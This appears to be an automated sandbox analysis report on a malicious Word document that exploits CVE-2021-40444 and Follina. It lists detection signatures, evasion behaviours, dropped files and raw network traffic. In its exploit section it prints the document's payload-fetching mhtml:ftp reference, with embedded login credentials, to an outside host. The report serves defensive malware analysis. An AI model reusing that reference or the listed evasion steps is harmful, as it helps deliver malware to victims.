Windows Analysis Report
v4nkfHg4d9.doc

Overview

General Information

Sample Name: v4nkfHg4d9.doc
Analysis ID: 706117
MD5: cbc307d6059925e9abbdbdec4d9ec0c1
SHA1: 8f0fc563f43cc1422b523a21f01858e031761e5f
SHA256: 8d61ea9ef38b6e7b36f466299223ad43339080d3a9914059c88ca3dd6be5cd32
Tags: doc
Infos:

Detection

CVE-2021-40444, Follina CVE-2022-30190
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Detected CVE-2021-40444 exploit
Antivirus detection for dropped file
Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for domain / URL
Disable Windows Defender real time protection (registry)
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Uses netsh to modify the Windows network and firewall settings
Found Tor onion address
Connects to many ports of the same IP (likely port scanning)
Tries to detect debuggers (CloseHandle check)
Tries to evade analysis by execution special instruction (VM detection)
Contains an external reference to another file
Tries to detect virtualization through RDTSC time measurements
Document exploit detected (process start blacklist hit)
Disable Windows Defender notifications (registry)
Hides threads from debuggers
Disables the Windows task manager (taskmgr)
Creates an undocumented autostart registry key
Modifies the windows firewall
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Modifies existing windows services
Potential document exploit detected (unknown TCP traffic)
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Checks if the current process is being debugged
Binary contains a suspicious time stamp
PE file contains more sections than normal
Compiles C# or VB.Net code
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Queries the volume information (name, serial number etc) of a device
Yara signature match
PE file contains sections with non-standard names
Found dropped PE file which has not been started or loaded
Potential document exploit detected (performs DNS queries)
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
Enables debug privileges
PE file does not import any functions
Detected TCP or UDP traffic on non-standard ports
Uses FTP
Uses taskkill to terminate processes
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates or modifies windows services
Potential document exploit detected (performs HTTP gets)

Classification

AV Detection
barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html Avira: detection malicious, Label: JS/CVE-2022-30190.G
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html Avira: detection malicious, Label: JS/CVE-2022-30190.G
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html Avira: detection malicious, Label: JS/CVE-2022-30190.G
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html Avira: detection malicious, Label: JS/CVE-2022-30190.G
Multi AV Scanner detection for submitted file
Source: v4nkfHg4d9.doc ReversingLabs: Detection: 24%
Source: v4nkfHg4d9.doc Virustotal: Detection: 37% Perma Link
Antivirus / Scanner detection for submitted sample
Source: v4nkfHg4d9.doc Avira: detected
Multi AV Scanner detection for domain / URL
Source: ftpupload.net Virustotal: Detection: 7% Perma Link

Exploits
barindex
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 00000003.00000002.601166734.0000000000870000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.608359190.0000000000A80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.601032733.0000000000700000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, type: DROPPED
Detected CVE-2021-40444 exploit
Source: document.xml.rels Extracted files from sample: mhtml:ftp://epiz_32594997:fkmeetiwdg@ftpupload.net/htdocs/a.html!x-usc:ftp://epiz_32594997:fkmeetiwdg@ftpupload.net/htdocs/a.html
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 116.202.120.166:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown HTTPS traffic detected: 38.229.82.25:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: Binary string: DismCorePS.pdb source: Dism.exe, 00000021.00000003.572060604.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: GenericProvider.pdbGCTL source: Dism.exe, 00000021.00000003.595659251.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: DmiProvider.pdb source: Dism.exe, 00000021.00000003.574746184.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: DISMProv.pdbGCTL source: Dism.exe, 00000021.00000003.573713306.000001F16DF3B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: DISMProv.pdb source: Dism.exe, 00000021.00000003.573713306.000001F16DF3B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: AssocProvider.pdb source: Dism.exe, 00000021.00000003.553413044.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: FfuProvider.pdbGCTL source: Dism.exe, 00000021.00000003.594149548.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dismhost.pdbGCTL source: Dism.exe, 00000021.00000003.573018658.000001F16DF49000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dismhost.pdb source: Dism.exe, 00000021.00000003.573018658.000001F16DF49000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: IBSProvider.pdb source: Dism.exe, 00000021.00000003.598835671.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp, IBSProvider.dll.33.dr
Source: Binary string: AppxProvider.pdb source: Dism.exe, 00000021.00000003.550203369.000001F16DF32000.00000004.00000020.00020000.00000000.sdmp, AppxProvider.dll.33.dr
Source: Binary string: AppxProvider.pdbGCTL source: Dism.exe, 00000021.00000003.550203369.000001F16DF32000.00000004.00000020.00020000.00000000.sdmp, AppxProvider.dll.33.dr
Source: Binary string: CompatProvider.pdbGCTL source: Dism.exe, 00000021.00000003.559520677.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: FfuProvider.pdb source: Dism.exe, 00000021.00000003.594149548.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: CBSProvider.pdbGCTL source: Dism.exe, 00000021.00000003.555491493.000001F16DF32000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: DismCorePS.pdbGCTL source: Dism.exe, 00000021.00000003.572060604.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: IBSProvider.pdbGCTL source: Dism.exe, 00000021.00000003.598835671.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp, IBSProvider.dll.33.dr
Source: Binary string: DmiProvider.pdbGCTL source: Dism.exe, 00000021.00000003.574746184.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: CompatProvider.pdb source: Dism.exe, 00000021.00000003.559520677.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: CBSProvider.pdb source: Dism.exe, 00000021.00000003.555491493.000001F16DF32000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: FolderProvider.pdbGCTL source: Dism.exe, 00000021.00000003.594636777.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp, FolderProvider.dll.33.dr
Source: Binary string: GenericProvider.pdb source: Dism.exe, 00000021.00000003.595659251.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: AssocProvider.pdbGCTL source: Dism.exe, 00000021.00000003.553413044.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: FolderProvider.pdb source: Dism.exe, 00000021.00000003.594636777.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp, FolderProvider.dll.33.dr
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Data\Tor\geoip6 Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Tor\libevent-2-1-7.dll Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Tor\libevent_core-2-1-7.dll Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Tor\libevent_extra-2-1-7.dll Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Data\Tor\geoip Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File opened: C:\Users\user\AppData\Roaming\Tor\libcrypto-1_1.dll Jump to behavior

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 185.27.134.11:47991
Source: global traffic TCP traffic: 185.27.134.11:47991 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 185.27.134.11:47991
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:47991 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 185.27.134.11:47991 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 185.27.134.11:47991 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 185.27.134.11:47991 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 185.27.134.11:47991 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 185.27.134.11:47991
Source: global traffic TCP traffic: 185.27.134.11:47991 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 185.27.134.11:47991
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 185.27.134.11:47991
Source: global traffic TCP traffic: 185.27.134.11:47991 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 185.27.134.11:47991
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 185.27.134.11:47991
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 185.27.134.11:47991
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:47991 -> 192.168.2.5:49709
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49711
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49713 -> 185.27.134.11:42159
Source: global traffic TCP traffic: 185.27.134.11:42159 -> 192.168.2.5:49713
Source: global traffic TCP traffic: 192.168.2.5:49713 -> 185.27.134.11:42159
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 185.27.134.11:42159 -> 192.168.2.5:49713
Source: global traffic TCP traffic: 185.27.134.11:42159 -> 192.168.2.5:49713
Source: global traffic TCP traffic: 185.27.134.11:42159 -> 192.168.2.5:49713
Source: global traffic TCP traffic: 192.168.2.5:49713 -> 185.27.134.11:42159
Source: global traffic TCP traffic: 185.27.134.11:42159 -> 192.168.2.5:49713
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49713 -> 185.27.134.11:42159
Source: global traffic TCP traffic: 185.27.134.11:42159 -> 192.168.2.5:49713
Source: global traffic TCP traffic: 192.168.2.5:49713 -> 185.27.134.11:42159
Source: global traffic TCP traffic: 185.27.134.11:42159 -> 192.168.2.5:49713
Source: global traffic TCP traffic: 192.168.2.5:49713 -> 185.27.134.11:42159
Source: global traffic TCP traffic: 185.27.134.11:42159 -> 192.168.2.5:49713
Source: global traffic TCP traffic: 192.168.2.5:49713 -> 185.27.134.11:42159
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49713 -> 185.27.134.11:42159
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49713 -> 185.27.134.11:42159
Source: global traffic TCP traffic: 185.27.134.11:42159 -> 192.168.2.5:49713
Source: global traffic TCP traffic: 192.168.2.5:49715 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49715
Source: global traffic TCP traffic: 192.168.2.5:49715 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49715
Source: global traffic TCP traffic: 192.168.2.5:49715 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49715 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49715
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49715
Source: global traffic TCP traffic: 192.168.2.5:49715 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49715 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49715
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49715
Source: global traffic TCP traffic: 192.168.2.5:49715 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49715 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49715
Source: global traffic TCP traffic: 192.168.2.5:49715 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49715
Source: global traffic TCP traffic: 192.168.2.5:49715 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49717 -> 185.27.134.11:16577
Source: global traffic TCP traffic: 185.27.134.11:16577 -> 192.168.2.5:49717
Source: global traffic TCP traffic: 192.168.2.5:49717 -> 185.27.134.11:16577
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 185.27.134.11:16577 -> 192.168.2.5:49717
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49717 -> 185.27.134.11:16577
Source: global traffic TCP traffic: 185.27.134.11:16577 -> 192.168.2.5:49717
Source: global traffic TCP traffic: 185.27.134.11:16577 -> 192.168.2.5:49717
Source: global traffic TCP traffic: 192.168.2.5:49717 -> 185.27.134.11:16577
Source: global traffic TCP traffic: 185.27.134.11:16577 -> 192.168.2.5:49717
Source: global traffic TCP traffic: 192.168.2.5:49717 -> 185.27.134.11:16577
Source: global traffic TCP traffic: 185.27.134.11:16577 -> 192.168.2.5:49717
Source: global traffic TCP traffic: 185.27.134.11:16577 -> 192.168.2.5:49717
Source: global traffic TCP traffic: 192.168.2.5:49717 -> 185.27.134.11:16577
Source: global traffic TCP traffic: 185.27.134.11:16577 -> 192.168.2.5:49717
Source: global traffic TCP traffic: 192.168.2.5:49717 -> 185.27.134.11:16577
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 192.168.2.5:49717 -> 185.27.134.11:16577
Source: global traffic TCP traffic: 192.168.2.5:49717 -> 185.27.134.11:16577
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49717 -> 185.27.134.11:16577
Source: global traffic TCP traffic: 185.27.134.11:16577 -> 192.168.2.5:49717
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49708
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49712
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49707
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 185.27.134.11:21 -> 192.168.2.5:49716
Source: global traffic TCP traffic: 192.168.2.5:49716 -> 185.27.134.11:21
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 116.202.120.166:443 -> 192.168.2.5:49728
Source: global traffic TCP traffic: 192.168.2.5:49728 -> 116.202.120.166:443
